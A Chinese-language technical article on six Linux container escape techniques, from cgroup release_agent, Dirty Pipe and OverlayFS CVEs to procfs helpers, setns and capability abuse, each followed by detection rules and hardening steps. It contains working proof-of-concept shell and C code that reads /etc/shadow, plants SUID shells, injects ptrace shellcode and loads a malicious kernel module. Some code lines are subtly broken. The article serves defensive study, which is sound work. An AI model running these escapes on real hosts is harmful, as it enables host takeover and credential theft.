免责声明

本文档仅供网络安全技术研究与教育目的使用,严禁用于任何未经授权的系统访问或攻击活动。文中所有技术细节、PoC代码和攻击方法均基于已公开的安全研究与CVE披露,旨在帮助安全从业者理解和防御容器逃逸威胁。


引言:容器与虚拟机的根本差异

要理解容器逃逸的本质,必须先回到容器与虚拟机在架构层面的根本差异。

虚拟机(VM)通过 Hypervisor 提供硬件级隔离,每个 VM 拥有独立的内核。而容器并非一个"轻量级虚拟机"——它本质上只是宿主机上一个被 namespaces(命名空间)和 cgroups(控制组)"装扮"过的普通进程。所有容器共享同一个宿主机内核。

一个更准确的隐喻是:容器是"戴着不同 VR 头盔的进程"。Namespaces 决定了进程能"看到"什么(视图隔离),cgroups 决定了进程能用多少资源(配额隔离),但底下那个真实运转的内核("真实世界")只有一个,所有容器都在与它对话。

        ┌──────────────────────────────────────────────────┐│              虚拟机架构(每 VM 独立内核)          ││  ┌─────────┐ ┌─────────┐ ┌─────────┐            ││  │Guest 内核│ │Guest 内核│ │Guest 内核│            ││  └────┬────┘ └────┬────┘ └────┬────┘            ││       │           │           │                   ││  ┌────┴───────────┴───────────┴────┐            ││  │          Hypervisor / VMM        │            ││  └────────────────┬────────────────┘            ││                   │                              │└───────────────────┼──────────────────────────────┘│硬件 CPU┌──────────────────────────────────────────────────┐│       容器架构(共享宿主内核,仅视图隔离)          ││  ┌─────────┐ ┌─────────┐ ┌─────────┐            ││  │  容器 A  │ │  容器 B  │ │  容器 C  │  ← 进程   ││  │NS+Cgroup│ │NS+Cgroup│ │NS+Cgroup│    "VR头盔" ││  └────┬────┘ └────┬────┘ └────┬────┘            ││       └───────────┼───────────┘                  ││              ┌────┴────┐                          ││              │宿主机内核│  ← 唯一真实世界           ││              └────┬────┘                          │└───────────────────┼──────────────────────────────┘│硬件 CPU

正是这种"共享内核"的设计,使得容器逃逸的攻击面与虚拟机逃逸截然不同。虚拟机逃逸需要攻破 Hypervisor(极难),而容器逃逸只要找到内核中"不尊重命名空间边界"的代码路径即可。

按根因与攻击难度,容器逃逸可分为三个层次:

层次 描述 占比(经验估计) 典型代表
第一层:配置不当 特权容器、危险挂载、过度 capabilities 90%+ --privilegedhostPID、挂载 /
第二层:隔离机制设计假设被打破 内核 helper、页缓存、copy-up 等未考虑 NS 隔离 ~8% cgroup release_agent、Dirty Pipe、OverlayFS
第三层:纯内核漏洞 内核内存破坏类 0day ~2% 各类 UAF/堆溢出

第一层是"运维失误",第二层是"内核设计缺陷"——本文聚焦的正是第二层与第一层的交界地带:六种直接与宿主内核对话的逃逸技术。它们之所以危险,是因为攻击者并不需要打内核内存破坏漏洞,而是利用内核自身提供的、本应"只给宿主 root 用"的合法机制,而这些机制压根不感知容器的命名空间边界。


技术一:Cgroup release_agent 利用(CVE-2022-0492)

原理

Cgroup v1 提供了一个 release_agent 机制:当某个 cgroup 中最后一个进程退出时,内核会调用该 cgroup 配置的 release_agent 脚本。关键问题在于——这个脚本是以 root 身份、在宿主机初始命名空间(initial namespace)中执行的,相当于直接以宿主机 root 身份运行任意命令。

release_agent 的初衷是做资源清理(比如回收 cgroup 目录),但它本质上是宿主机的一个"以 root 主动执行任意路径脚本"的钩子,与容器隔离毫无关系。

   容器内进程退出 cgroup│▼内核检测 cgroup 为空(notify_on_release=1)│▼内核以 init_ns root 身份调用 release_agent 路径│▼★ 在宿主机初始命名空间执行 ★(不受容器 NS 约束)

漏洞根因

正常情况下,设置 release_agent 需要 CAP_SYS_ADMIN 权限。但 CVE-2022-0492 的根因在于:内核 cgroup_release_agent_write() 函数在检查权限时,使用的是 ns_capable() 而非 ns_capable(..., &init_user_ns)

ns_capable() 默认针对当前进程所在的 user namespace 进行检查。这意味着,一个普通容器进程只要能通过 unshare -Ur 创建一个新的 user namespace,就能在该新 userns 内获得 CAP_SYS_ADMIN(user namespace 的特性:在新 userns 内自动拥有全部 capabilities),从而满足检查,进而设置 release_agent

补丁(内核 5.17 合入)将检查改为 ns_capable(..., &init_user_ns),强制要求权限来自初始用户命名空间。

PoC 代码

#!/bin/bash
# CVE-2022-0492 cgroup v1 release_agent 逃逸 PoC
# 前提:容器允许 user namespace(未禁用 unshare -Ur)# 1. 创建新的 user + mount + cgroup namespace,在其中获得 CAP_SYS_ADMIN
unshare -urmc bash -c '# 2. 挂载一个 cgroup v1 子系统mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrpmkdir /tmp/cgrp/x# 3. 开启 notify_on_releaseecho 1 > /tmp/cgrp/x/notify_on_release# 4. 获取容器在宿主机上的真实路径(overlay upperdir)host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)# 5. 将 release_agent 指向宿主机路径下的 payloadecho "$host_path/cmd" > /tmp/cgrp/x/release_agent
'# 6. 在容器内写入 payload(对应宿主机 upperdir 路径)
cat > /cmd <<EOF
#!/bin/sh
cat /root/flag.txt > /output 2>&1
EOF
chmod +x /cmd# 7. 触发:让一个进程进入该 cgroup 然后退出
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && sleep 1"

检测

Falco 规则示例:

- rule: Cgroup release_agent Modified in Containerdesc: 检测容器内修改 cgroup release_agent,疑似 CVE-2022-0492 逃逸condition: >container.id != host and(open_write and fd.name contains "release_agent")output: >Suspicious release_agent write (user=%user.namecontainer=%container.id image=%container.image.repositoryfile=%fd.name command=%proc.cmdline)priority: WARNINGtags: [container, escape, mitre_privilege_escalation]

防御

防御措施 说明
升级内核至 5.17+ 修复权限检查,强制要求 init_user_ns 的 CAP_SYS_ADMIN
迁移至 cgroup v2 v2 的 release_agent 机制被移除/收紧
seccomp 阻止 mount 在 seccomp profile 中禁止 mount 系统调用
禁用 user namespace 设置 user.max_user_namespaces=0,阻断 unshare -Ur

技术二:Namespace 切换 / Unshare 逃逸

原理

Namespace 是容器隔离的基石,但它并非单向"关押"——进程可以主动通过系统调用加入其他 namespace。setns() 系统调用允许一个进程通过一个指向 /proc/<pid>/ns/<type> 的文件描述符,把自己"切换"到目标进程所在的命名空间。这正是 nsenter 工具的底层实现。

如果容器能访问到宿主机进程的 namespace fd(例如特权容器 + hostPID),那么容器进程可以直接 setns 进入宿主机 PID/mount/net 等命名空间,从而"逃出"容器。

三个关键系统调用

系统调用 作用 是否创建新进程 典型场景
clone() 创建新进程并可同时进入新的命名空间 是(新进程) fork 出隔离子进程
unshare() 将当前进程移入新创建的命名空间 否(修改自身) 容器 runtime 自隔离
setns() 将当前进程加入一个已存在的命名空间(通过 fd) 否(修改自身) nsenter、调试、逃逸
   setns() 工作流:┌──────────────┐         fd = open("/proc/1/ns/mnt")│  容器进程     │ ────────────────────────────────────┐│  (在容器NS)   │                                       │└──────┬───────┘                                       ▼│ setns(fd, CLONE_NEWNS)            ┌─────────────────┐│ ─────────────────────────────────►│ 宿主机 PID 1 的  ││                                    │ mount namespace │▼                                    └─────────────────┘┌──────────────┐│  容器进程     │  ← 现在视图切换到宿主机 mount NS│ (在宿主NS)   │     可访问宿主机文件系统└──────────────┘

PoC:三种场景

场景 A:特权容器 + hostPID

最简单。容器拥有宿主机 PID 命名空间,可直接看到并操作 PID 1:

# 容器以 --privileged --pid=host 启动
nsenter -t 1 -m -u -i -n -- /bin/sh
# 直接获得宿主机 shell

场景 B:CAP_SYS_ADMIN + unshare

容器拥有 CAP_SYS_ADMIN,可 unshare 新命名空间后挂载宿主机文件系统:

unshare -m bash -c 'mkdir /tmp/hostmount /dev/sda1 /tmp/host     # 挂载宿主根分区chroot /tmp/host /bin/sh
'

场景 C:通过 /proc/pid/root 符号链接

即使没有 hostPID,若挂载了宿主机 /proc 或可访问某宿主进程的 /proc/<pid>/root

ls -la /proc/1/root        # -> 指向宿主机根目录
chroot /proc/1/root /bin/sh

C 代码示例

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>int main(int argc, char *argv[]) {int target_pid = 1;  // 宿主机 init 进程// 1. 打开目标进程各命名空间的 fdchar ns_path[64];snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/mnt", target_pid);int mnt_fd = open(ns_path, O_RDONLY);snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/pid", target_pid);int pid_fd = open(ns_path, O_RDONLY);snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/net", target_pid);int net_fd = open(ns_path, O_RDONLY);// 2. 依次 setns 加入宿主机命名空间setns(mnt_fd, CLONE_NEWNS);setns(pid_fd,  CLONE_NEWPID);setns(net_fd,  CLONE_NEWNET);// 3. 切换根目录并执行宿主机 shellchdir("/proc/1/root");chroot("/proc/1/root");execl("/bin/sh", "sh", NULL);return 0;
}

检测

- rule: Namespace Enter From Containerdesc: 检测容器内执行 nsenter/unshare,疑似命名空间逃逸condition: >container.id != host and(proc.name in (nsenter, unshare) orspawned_process and proc.args contains "/proc/")output: >Namespace manipulation in container(user=%user.name container=%container.idproc=%proc.name args=%proc.cmdline)priority: CRITICALtags: [container, escape]

防御

防御措施 说明
禁止 hostPID / hostIPC / hostNetwork 切断容器访问宿主进程的 namespace fd
限制 user namespace user.max_user_namespaces=0
seccomp 阻止 setns/unshare 在 seccomp profile 中 deny 这两个系统调用
避免特权容器 杜绝 --privileged,按需授予单个 capability

技术三:procfs/sysfs 滥用

原理

Linux 内核提供了一系列 "helper" 机制:当某些内核事件发生时,内核会主动调用用户空间配置的某个程序路径。这些 helper 的设计早于容器化时代,它们完全不受命名空间隔离约束,且执行身份为宿主机 root(pid 1 上下文)。

这意味着:只要容器能写这些 /proc/sys/.../sys/... 路径,就等于获得了一个宿主机 root 命令执行钩子。

三个高危路径

路径 触发时机 执行身份 危险性
/proc/sys/kernel/core_pattern 进程崩溃产生 core dump 宿主 root,在崩溃进程的 cwd 极高
/proc/sys/kernel/modprobe_path 内核请求加载模块 宿主 root 极高
/sys/kernel/uevent_helper 设备热插拔事件 宿主 root

PoC:core_pattern 逃逸

core_pattern| 开头时,内核会将崩溃进程的 core dump 通过管道传给指定程序,该程序以宿主机 root 身份执行

#!/bin/bash
# core_pattern 逃逸 PoC(需要容器能写 /proc/sys/kernel/core_pattern)# 1. 获取容器在宿主机的真实路径
host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)# 2. 准备 payload,输出到容器内可见路径
cat > /cmd <<EOF
#!/bin/sh
id > $host_path/output
cat /etc/shadow >> $host_path/output
EOF
chmod +x /cmd# 3. 将 core_pattern 指向 payload(| 表示管道执行)
echo "|$host_path/cmd" > /proc/sys/kernel/core_pattern# 4. 触发一个进程崩溃,内核将以 root 调用 /cmd
sleep 1000 &
kill -SIGSEGV %1
wait# 5. 读取结果
cat /output
   触发流程:┌─────────────┐    SIGSEGV     ┌──────────────┐│ sleep 1000  │ ─────────────► │  内核收到崩溃  │└─────────────┘                └──────┬───────┘│ 查 core_pattern▼┌────────────────────┐│ |<host_path>/cmd    │└─────────┬──────────┘│ 以宿主 root 执行▼┌────────────────────┐│ /cmd 在宿主 NS 运行 ││ → 写出 shadow       │└────────────────────┘

PoC:modprobe_path 滥用

modprobe_path 在内核需要加载未知模块时被调用,例如执行一个未知二进制格式:

# 1. 获取宿主路径并准备 payload
host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)
echo -e "#!/bin/sh\nchmod 4777 /bin/bash" > /cmd
chmod +x /cmd# 2. 覆盖 modprobe_path
echo "$host_path/cmd" > /proc/sys/kernel/modprobe_path# 3. 触发:执行一个未知 magic 的二进制
#   内核会调用 modprobe_path 指向的程序
echo -ne '\xff\xff\xff\xff' > /tmp/unknown
chmod +x /tmp/unknown
/tmp/unknown 2>/dev/null# 4. 现在 /bin/bash 是 SUID root
/bin/bash -p

PoC:uevent_helper 滥用

host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)
echo -e "#!/bin/sh\n$host_path/cmd_payload" > /cmd
chmod +x /cmd
echo "$host_path/cmd" > /sys/kernel/uevent_helper
# 触发一个 uevent(如操作 /sys/class/net 设备)
echo "change" > /sys/class/net/eth0/uevent

检测

- rule: Kernel Helper Path Modified in Containerdesc: 检测容器内修改 core_pattern/modprobe_path/uevent_helpercondition: >container.id != host andopen_write and(fd.name=/proc/sys/kernel/core_pattern orfd.name=/proc/sys/kernel/modprobe_path orfd.name=/sys/kernel/uevent_helper)output: >Kernel helper path tampering(file=%fd.name container=%container.idproc=%proc.cmdline user=%user.name)priority: CRITICALtags: [container, escape, kernel]

防御

防御措施 说明
/proc/sys 只读挂载 容器 runtime 默认应只读挂载 procfs/sysfs
AppArmor/SELinux 屏蔽 profile 中 deny 写这些危险路径
禁止特权容器 /proc/sys 需要 CAP_SYS_ADMIN
内核 hardening 部分发行版可配置 kernel.modules_disabled=1

技术四:页缓存共享攻击(Dirty Pipe, CVE-2022-0847)

原理

这是容器逃逸中最"优雅"的一类——它利用的不是命名空间漏洞,而是 Linux 页缓存(page cache)的全局共享特性,配合一个内核 bug,实现"以普通权限覆盖只读文件内容"。

背景知识:Linux 通过页缓存加速文件 I/O。同一个文件的所有进程共享同一份页缓存副本,与命名空间无关。这意味着容器内进程修改页缓存,等于修改了宿主机上所有进程看到的文件内容。

漏洞根因:在 splice() 系统调用向 pipe 写入数据的路径中,内核未正确清除 pipe_buffer 结构体中的 PIPE_BUF_FLAG_CAN_MERGE 标志位。正常情况下 pipe 写入应该追加在末尾,但由于该标志位残留,写入会"合并"到 splice 进来的那个页——而这个页正是目标文件在页缓存中的页。

效果:攻击者可以对任意有读权限的文件(包括只读挂载的文件)进行任意写入,覆盖其页缓存内容。

   正常 pipe 写入:追加到 pipe 末尾新页┌────┬────┬────┬────┐│ p0 │ p1 │ p2 │ p3 │  ← write 在末尾追加└────┴────┴────┴────┘Dirty Pipe:splice 注入目标文件页,CAN_MERGE 残留┌────┬────┬────┬──────────────┐│ p0 │ p1 │ p2 │ 目标文件页!!  │  ← write 覆盖了目标文件页缓存└────┴────┴────┴──────┬───────┘│ 该页同时映射到目标文件▼文件内容被篡改(绕过 VFS 权限)

6 步利用序列(C 代码)

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>int main() {const char *target = "/etc/passwd";// 要写入的内容:在偏移 1 处覆盖,使 root 行密码置空const char *data = "toor::0:0:root:/root:/bin/sh\n";// 步骤 1:以只读方式打开目标文件(只需读权限即可!)int fd = open(target, O_RDONLY);if (fd < 0) { perror("open"); return 1; }// 步骤 2:创建一个 pipeint p[2];pipe(p);// 步骤 3:填满 pipe(16 个页,让所有 pipe_buffer 的 CAN_MERGE 置位)char buf[4096];for (int i = 0; i < 16; i++) {write(p[1], buf, sizeof(buf));}// 步骤 4:排出 1 个字节(让 pipe 头部空出一个页,offset=1)read(p[0], buf, 1);// 步骤 5:用 splice 把目标文件偏移 1 处的 1 字节"注入"pipe//   关键:这一步让目标文件的页进入 pipe_buffer,//        但 CAN_MERGE 标志位未被清除loff_t offset = 1;ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes < 0) { perror("splice"); return 1; }// 步骤 6:向 pipe 写入数据 —— 由于 CAN_MERGE 残留,//   数据被合并到目标文件页缓存,等于覆盖文件偏移 1 处内容write(p[1], data, strlen(data));printf("[+] 文件页缓存已被覆盖\n");close(fd);return 0;
}

容器逃逸路径

容器内的攻击目标通常是宿主机文件系统中存在的 SUID 二进制(如 /bin/su/usr/bin/passwd),它们通过容器 overlay 挂载仍然映射到同一份页缓存。攻击者覆盖 SUID 二进制的内容为恶意 shellcode,随后宿主机或高权限进程执行它即可获得 root。

   容器内                          宿主机┌──────────────────┐           ┌──────────────────────┐│ 覆盖 /bin/passwd │           │                      ││ 页缓存为 shellcode│ ──同一页缓存─►│ /bin/passwd 内容被改 │└──────────────────┘           │                      ││ 任意用户执行 su       ││ → 运行 shellcode     ││ → 宿主 root shell    │└──────────────────────┘

关键特性

特性 说明
无需 capabilities 只要能读目标文件即可,普通用户权限足矣
无竞态条件 同步操作,100% 可靠,非 TOCTOU
readOnly 挂载无效 只读挂载只影响 VFS 写路径,页缓存绕过 VFS
重启失效 页缓存是内存态,重启后恢复磁盘原始内容
影响内核 5.8 ≤ 内核 < 5.16.11 / 5.15.25 / 5.10.102

检测

Datadog CWS(Cloud Workload Security)规则示例:

- rule: Dirty Pipe File Overwrite Attemptdesc: 检测 splice 后立即 write 的模式,疑似 CVE-2022-0847condition: >syscall.splice and(syscall.write within 1s) andproc.container.id != ""output: >Possible Dirty Pipe exploitation(container=%container.id proc=%proc.cmdlinefile=%syscall.splice.args.fd_out)priority: CRITICALtags: [cve-2022-0847, container_escape]

防御

防御措施 说明
升级内核 升级到 ≥5.16.11 / ≥5.15.25 / ≥5.10.102
seccomp 阻止 splice/tee/vmsplice deny 这些系统调用可阻断利用路径
Rootless 容器 rootless 模式下容器进程映射到非 root uid,限制可写目标
最小文件权限 减少容器可读的 SUID 二进制

技术五:OverlayFS 漏洞利用(CVE-2023-0386)

原理

OverlayFS 是容器镜像的默认存储驱动,通过"叠加" lowerdir(只读镜像层)和 upperdir(可写层)实现分层文件系统。当容器对 lower 层文件进行写操作时,OverlayFS 会触发 copy-up:将文件从 lower 复制到 upper。

CVE-2023-0386 的根因在于:copy-up 操作在复制文件时未检查文件的 SUID 位和 UID/GID 映射。这导致一个位于 lower 层(如 FUSE 挂载)的 SUID-root 二进制,被 copy-up 到 upper 层后,依然保留 SUID 位,且其属主被映射为宿主机真实 root。

攻击者借此"走私"一个 SUID root 二进制到宿主机文件系统,随后在宿主机上执行它即可提权。

   攻击链:┌──────────────┐   1. FUSE 挂载含 SUID-root 二进制(lower)│  FUSE 源     │ ─────────────────────────────────────────┐│  suid x.c    │                                          │└──────────────┘                                          ▼2. unshare user+mount NS           ┌────────┐3. mount overlay(lower=FUSE)       │ lower  │ SUID root4. touch 触发 copy-up              └───┬────┘copy-up(不检查映射)▼┌────────┐│ upper  │ SUID root│  保留  │ → 宿主真实 root└────────┘5. exit NS → 文件留在宿主机可见的 upper6. 宿主机执行该 SUID 二进制 → root

补丁分析

漏洞补丁在 ovl_copy_up_one() 中增加了 kuid_has_mapping() 检查:copy-up 时验证源文件的 kuid/kgid 是否在目标 mount 的 user namespace 中有映射。若无映射(如 FUSE 中的全局 root uid),则拒绝 copy-up 或剥离 SUID 位。

// 补丁核心逻辑(简化)
static int ovl_copy_up_one(struct dentry *parent, ...) {...// 新增:检查 UID/GID 映射if (!kuid_has_mapping(&mnt->mnt_sb->s_user_ns, stat.uid) ||!kgid_has_mapping(&mnt->mnt_sb->s_user_ns, stat.gid)) {// 拒绝保留 SUID/SGIDstat.mode &= ~(S_ISUID | S_ISGID);}...
}

PoC

步骤 1:FUSE 伪装 SUID 二进制

// fuse_suid.c —— FUSE 文件系统返回一个 SUID-root 二进制
#define FUSE_USE_VERSION 31
#include <fuse3/fuse.h>
#include <string.h>
#include <sys/stat.h>static const char *suid_binary ="\x7f\x45\x4c\x46" /* ELF magic,此处省略完整 shellcode */;static int myfs_getattr(const char *path, struct stat *st, ...) {if (strcmp(path, "/suid") == 0) {st->st_mode = S_IFREG | 04755;  // SUID + 0755st->st_uid = 0;                 // rootst->st_size = strlen(suid_binary);return 0;}return -ENOENT;
}
// ... fuse 操作实现省略

步骤 2:触发 copy-up 并执行

#!/bin/bash
# CVE-2023-0386 OverlayFS SUID 走私 PoC# 1. 启动 FUSE 文件系统,提供 SUID-root 二进制
./fuse_suid /tmp/fuse_lower &# 2. 在 user+mount namespace 中挂载 overlay
unshare -UrM bash -c 'mkdir /tmp/overlay/{upper,work,mnt}mount -t overlay overlay \-o lowerdir=/tmp/fuse_lower,upperdir=/tmp/overlay/upper,workdir=/tmp/overlay/work \/tmp/overlay/mnt# 3. touch 触发 copy-up(FUSE 的 SUID 二进制被复制到 upper)touch /tmp/overlay/mnt/suid
'# 4. 退出 namespace 后,upper 中的 suid 仍为 SUID-root
ls -la /tmp/overlay/upper/suid
# -rwsr-xr-x 1 root root ... /tmp/overlay/upper/suid# 5. 在宿主机上以普通用户执行 → 提权到 root
/tmp/overlay/upper/suid

SUID 提权二进制 C 代码:

// suid_root.c —— 编译后设置 SUID 位
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>int main() {// SUID 程序以文件属主身份执行 → rootif (setuid(0) || setgid(0)) {perror("setuid");return 1;}printf("[+] now root: uid=%d euid=%d\n", getuid(), geteuid());system("/bin/sh");return 0;
}

检测

auditd 规则,监控 overlay 文件的 SUID 位创建:

# /etc/audit/rules.d/overlay.rules
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \-F dir=/var/lib/docker -F a2&04000 -k overlay_suid_set
-a always,exit -F arch=b64 -S mount -k overlay_mount

防御

防御措施 说明
升级内核至 6.2+ 合入 kuid_has_mapping 检查
禁用 user namespace user.max_user_namespaces=0,阻断 unshare 挂载 overlay
限制 FUSE seccomp/AppArmor 禁止容器内 FUSE 挂载
监控 SUID 创建 auditd 监控 overlay 目录中 SUID 位变更

技术六:内核 Capabilities 滥用

原理

Linux capabilities 将传统 root 权限拆分为数十个细粒度权限位。容器通常以 root 运行,但通过"丢弃"部分 capabilities 来降权。然而,部分单个 capability 本身就足以等同宿主机 root——一旦容器保留了这些危险 capability,逃逸门槛骤降。

capabilities 是内核级概念,不受容器命名空间约束:拥有 CAP_SYS_ADMIN 的容器进程对内核而言就是"在当前 userns 内的特权进程"。

最危险 capabilities

Capability 危险能力 逃逸利用
CAP_SYS_ADMIN "新 root",可挂载、改 cgroup、ioctrl 几乎所有上述技术的前置条件
CAP_SYS_MODULE 加载/卸载内核模块 insmod 恶意 .ko,内核态任意代码
CAP_SYS_PTRACE ptrace 任意进程 进程注入、读取宿主进程内存
CAP_SYS_RAWIO 原始 I/O 访问 直接读写 /dev/mem、磁盘设备
CAP_DAC_READ_SEARCH 绕过文件读权限检查 读取宿主机任意文件
CAP_NET_ADMIN 网络配置 修改路由、创建网卡、ARP 欺骗

PoC:三种典型滥用

1. CAP_SYS_ADMIN → cgroup 逃逸

即技术一的后半段(无需 unshare,直接有权限):

# 容器以 --cap-add SYS_ADMIN 启动
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/x/release_agent
echo -e '#!/bin/sh\nchmod 4777 /bin/bash' > /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && sleep 1"

2. CAP_SYS_PTRACE → 进程注入(C 代码)

需配合 hostPID 看到宿主机进程:

#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <stdio.h>
#include <string.h>// 经典 shellcode:execve("/bin/sh")
char shellcode[] ="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0""\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53""\x48\x89\xe7\xb0\x3b\x0f\x05";int main(int argc, char *argv[]) {pid_t target = atoi(argv[1]);  // 宿主机进程 PID// 1. 附加到目标进程if (ptrace(PTRACE_ATTACH, target, NULL, NULL) < 0) {perror("PTRACE_ATTACH"); return 1;}waitpid(target, NULL, 0);// 2. 获取寄存器struct user_regs_struct regs;ptrace(PTRACE_GETREGS, target, NULL, &regs);// 3. 逐字注入 shellcode 到 RIP 处long *src = (long *)shellcode;for (int i = 0; i < sizeof(shellcode) / sizeof(long); i++) {ptrace(PTRACE_POKETEXT, target,regs.rip + i * sizeof(long), src[i]);}// 4. 恢复执行,目标进程以宿主身份跑 shellcodeptrace(PTRACE_CONT, target, NULL, NULL);// 5. 分离ptrace(PTRACE_DETACH, target, NULL, NULL);return 0;
}

3. CAP_SYS_MODULE → 加载内核模块

# 准备一个恶意内核模块 init_module 会调用 run_cmd
cat > rootkit.c <<'EOF'
#include <linux/module.h>
#include <linux/kmod.h>
static int __init rootkit_init(void) {char *argv[] = {"/bin/sh", "-c", "chmod 4777 /bin/bash", NULL};char *envp[] = {"PATH=/usr/bin", NULL};call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);return 0;
}
module_init(rootkit_init);
MODULE_LICENSE("GPL");
EOF# 编译并加载(CAP_SYS_MODULE 直接 insmod)
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
insmod rootkit.ko
# /bin/bash 现已 SUID root

检测

- rule: Suspicious Capability Usage in Containerdesc: 检测容器内 ptrace/insmod/cgroup 挂载等危险操作condition: >container.id != host and(proc.name=insmod orproc.name in (strace, gdb, ltrace) or(open_write and fd.name contains "cgroup.procs"))output: >Dangerous capability usage(container=%container.id proc=%proc.namecmdline=%proc.cmdline)priority: CRITICALtags: [container, escape, capabilities]

防御

防御措施 说明
--cap-drop ALL 丢弃所有 capabilities,按需 --cap-add 极少项
K8s PSS restricted Pod Security Standards restricted 策略禁止多数 cap
seccomp 默认 profile 限制 ptrace/module 相关系统调用
审计 SUID/SGID 定期扫描容器内新增的 SUID 二进制

综合防御架构

容器逃逸防御是一个纵深体系,单点防护难以奏效。以下是综合方案。

1. K8s 最小权限 Pod 配置示例

apiVersion: v1
kind: Pod
metadata:name: hardened-applabels:app: hardened-app
spec:# 1. 强制非 root 运行securityContext:runAsNonRoot: truerunAsUser: 10001runAsGroup: 10001fsGroup: 10001seccompProfile:type: RuntimeDefault          # 启用默认 seccomp profilecontainers:- name: appimage: myapp:1.0# 2. 容器级安全加固securityContext:allowPrivilegeEscalation: false   # 禁止 SUID 提权privileged: false                  # 非特权readOnlyRootFilesystem: true       # 根文件系统只读runAsNonRoot: truecapabilities:drop:                            # 丢弃所有 capabilities- ALL# add: []                        # 仅按需添加,原则上留空# 3. 资源与挂载最小化resources:limits:memory: "256Mi"cpu: "500m"volumeMounts:- name: tmpmountPath: /tmpvolumes:- name: tmpemptyDir: {}                          # 可写临时目录# 4. 禁止 host 命名空间共享hostPID: falsehostIPC: falsehostNetwork: false

2. OPA Gatekeeper 策略(阻止特权 Pod)

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:name: k8sdisallowprivileged
spec:crd:spec:names:kind: K8sDisallowPrivilegedtargets:- target: admission.k8s.gatekeeper.shrego: |package k8sdisallowprivilegedviolation[{"msg": msg}] {container := input.review.object.spec.containers[_]container.securityContext.privileged == truemsg := sprintf("容器 %v 禁止使用 privileged: true", [container.name])}violation[{"msg": msg}] {container := input.review.object.spec.containers[_]cap := container.securityContext.capabilities.add[_]cap == "SYS_ADMIN"msg := sprintf("容器 %v 禁止添加 CAP_SYS_ADMIN", [container.name])}violation[{"msg": msg}] {input.review.object.spec.hostPID == truemsg := "禁止使用 hostPID"}
---
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sDisallowPrivileged
metadata:name: no-privileged-pods
spec:match:kinds:- apiGroups: [""]kinds: ["Pod"]excludedNamespaces: ["kube-system"]

3. 六种技术对比总结表

技术 CVE 根因 前提条件 影响内核版本 是否需要特权
Cgroup release_agent CVE-2022-0492 权限检查用 ns_capable 未限定 init_user_ns user namespace 可用 + cgroup v1 < 5.17 否(unshare 即可)
Namespace 切换 setns 合法机制被滥用 hostPID / CAP_SYS_ADMIN / 可访问 /proc/pid/ns 全版本 视场景而定
procfs/sysfs 滥用 内核 helper 不感知 NS 隔离 可写 /proc/sys(CAP_SYS_ADMIN 或特权) 全版本 是(需写 /proc/sys)
Dirty Pipe CVE-2022-0847 splice 未清除 PIPE_BUF_FLAG_CAN_MERGE 可读目标文件 5.8 ~ 5.16.10 否(普通权限)
OverlayFS copy-up CVE-2023-0386 copy-up 未检查 kuid 映射,走私 SUID user namespace + FUSE < 6.2 否(unshare + FUSE)
Capabilities 滥用 单个 cap 等同 root 容器保留危险 cap 全版本 视 cap 而定

4. 纵深防御清单

   应用层    ┌─────────────────────────────────────────┐│ OPA Gatekeeper / Kyverno 准入控制         ││ Pod Security Standards (restricted)       │├─────────────────────────────────────────┤容器层    │ runAsNonRoot / readOnlyRootFS            ││ seccomp RuntimeDefault / 自定义 profile    ││ cap-drop ALL / AppArmor / SELinux         │├─────────────────────────────────────────┤内核层    │ 及时升级内核 / 禁用 user namespace        ││ cgroup v2 / 模块签名 / lockdown           │├─────────────────────────────────────────┤运行时    │ Falco / Datadog CWS / Elastic Security   │检测      │ auditd / eBPF 行为基线告警                │├─────────────────────────────────────────┤主机层    │ 内核加固(grsec/KSPP) / 最小化宿主进程     ││ EDR / 文件完整性监控                       │└─────────────────────────────────────────┘

5. 关键内核参数加固

# /etc/sysctl.d/99-container-hardening.conf# 禁用 user namespace(阻断 unshare 逃逸路径,按需评估业务影响)
user.max_user_namespaces = 0# 禁止非签名内核模块加载(阻断 CAP_SYS_MODULE)
kernel.modules_disabled = 1    # 注意:设置后不可逆,需重启恢复# 限制 ptrace(阻断 CAP_SYS_PTRACE 进程注入)
kernel.yama.ptrace_scope = 3   # 仅允许 ptrace 自身或 root(0=全部/1=受限/2=仅admin/3=禁止)# 禁止核心转储 helper(缓解 core_pattern,治标)
# fs.suid_dumpable = 0         # SUID 程序不产生 core(默认已是 0)# 启用内核 lockdown(限制 root 滥用 /dev/mem 等)
# 需内核编译 CONFIG_LOCKDOWN_LSM

结语

容器逃逸的本质,是攻击者在"共享内核"这一前提下,寻找内核中那些不尊重命名空间边界的代码路径。本文梳理的六种技术,从 cgroup release_agent 的权限检查缺陷,到 Dirty Pipe 的页缓存绕过,再到 OverlayFS 的 copy-up 映射遗漏,每一处都是"内核设计时未考虑容器场景"的典型缩影。

